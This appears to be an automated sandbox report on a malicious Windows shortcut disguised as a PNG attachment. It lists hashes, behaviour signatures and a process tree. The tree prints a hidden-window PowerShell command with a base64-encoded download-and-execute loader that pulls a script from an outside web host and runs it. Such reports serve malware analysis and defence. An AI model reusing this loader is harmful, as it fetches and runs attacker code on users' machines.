Analysis

  • max time kernel
    20s
  • max time network
    114s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    25-08-2021 20:27

General

  • Target

    Attachment.png.lnk

  • Size

    1KB

  • MD5

    15482111f86159dc4cca2034e5520350

  • SHA1

    7745a383710aa802613daaa245b456c77149d437

  • SHA256

    a0e0df53e65b8b4f229eeec3e5c839b9436910a2830854b9e52aa11cd2155d4b

  • SHA512

    6190c2808eb2712583a0c7b930d8bb6ca3628dcfdcfcc46b86153757b271220aa37d5fe6aed571a6575e941e3b222e29e086905c27eef85a2046d8108b66f92c

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Attachment.png.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -noexit -file work.ps1
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc JABNAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGgAaQBuAGcAYwBhAGwAbABlAGQAYwBhAGsAZQAuAGMAbwBtAC8AZgBpAGwAZQAnACkAOwAkAHQAPQAkAE0ALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJABSAD0AJAB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACQAUgA7ACQAcAA9ACQARgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZQB4ACgAJABwACkAOwAgAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2708
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2708 -s 2492
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3896

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1168-119-0x0000014B62670000-0x0000014B62671000-memory.dmp

    Filesize

    4KB

  • memory/1168-140-0x0000014B62830000-0x0000014B62831000-memory.dmp

    Filesize

    4KB

  • memory/1168-141-0x0000014B62720000-0x0000014B62722000-memory.dmp

    Filesize

    8KB

  • memory/1168-144-0x0000014B62723000-0x0000014B62725000-memory.dmp

    Filesize

    8KB

  • memory/1168-153-0x0000014B62C40000-0x0000014B62C41000-memory.dmp

    Filesize

    4KB

  • memory/1168-155-0x0000014B62726000-0x0000014B62728000-memory.dmp

    Filesize

    8KB

  • memory/1168-210-0x0000014B62728000-0x0000014B62729000-memory.dmp

    Filesize

    4KB

  • memory/2708-209-0x0000023EE6723000-0x0000023EE6725000-memory.dmp

    Filesize

    8KB

  • memory/2708-208-0x0000023EE6720000-0x0000023EE6722000-memory.dmp

    Filesize

    8KB

  • memory/2708-211-0x0000023EE6726000-0x0000023EE6728000-memory.dmp

    Filesize

    8KB